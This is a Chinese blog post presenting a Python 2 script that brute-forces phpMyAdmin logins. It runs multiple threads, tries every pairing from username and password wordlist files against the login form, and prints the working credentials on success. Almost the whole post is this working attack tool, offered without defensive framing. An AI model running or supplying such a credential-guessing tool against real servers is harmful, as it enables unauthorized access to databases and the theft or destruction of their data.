python多线程phpmyadmin密码破解

博主:秋蝉秋蝉 3年前 (2021) 1.45 K 0条评论
01    #! /usr/bin/env python    
02    #coding=utf-8    
03    
04    import re    
05    import os    
06    import time    
07    import requests    
08    from random import choice    
09    import Queue,threading    
10    import sys     
11    reload(sys)     
12    sys.setdefaultencoding('utf8')     
13    
14    class Crack(threading.Thread):    
15        def __init__(self,url,queue):    
16            threading.Thread.__init__(self)    
17            self.url = url    
18            self.queue = queue    
19        def getheader(self):    
20            return {"User-Agent":"Mozilla/5.0 (Linux; U; Android 5.1.1; zh-cn; OPPO A53m Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.0.0 Mobile Safari/537.36 OppoBrowser/4.2.8"}    
21        def run(self):    
22            while 1:    
23                if self.queue.empty():    
24                    break    
25                else:    
26                    data = self.queue.get()    
27                    try:    
28                        httpres = requests.post(self.url,data=data,headers=self.getheader())    
29                        html = httpres.text    
30                        if re.search("frame frameborder",html) or re.search("main.PHP?token",html):    
31                            print u"爆破成功"    
32                            print u"账号%s 密码%s" % (data["pma_username"],data["pma_password"])    
33                            os._exit(0)    
34                        else:    
35                            print u"--->%d<---%s:%s" %(self.queue.qsize(),data["pma_username"],data["pma_password"])    
36                    except:    
37                        self.queue.put(data)    
38                        print u"--->请求超时,重新加入队列<---"    
39    def speak():    
40        inttime = choice(range(15,30))    
41        time.sleep(inttime)    
42        print u"闲暇之余我给你讲个故事吧"    
43    
44    def main(url):    
45        queue = Queue.Queue()    
46        threads =[]    
47        for username in open("username.txt","r"):    
48            for password in open("password.txt","r"):    
49                queue.put({"pma_username":username.strip(),"pma_password":password.strip(),"server":"1"})    
50        print u"队列更新完毕,开始准备干"    
51        gushi = threading.Thread(target=speak,args=())    
52        gushi.setDaemon(True)    
53        gushi.start()    
54        lines = 5    
55        for x in range(lines):    
56            y = Crack(url,queue)    
57            y.start()    
58            threads.append(y)    
59        for x in threads:    
60            x.join()       
61    
62    if __name__ == '__main__':    
63        url = "http://127.0.0.1/index.PHP"    
64        main(url)


秋蝉博客www.100msh.net
The End

发布于:2021-04-11,除非注明,否则均为秋蝉'sblog原创文章,转载请注明出处。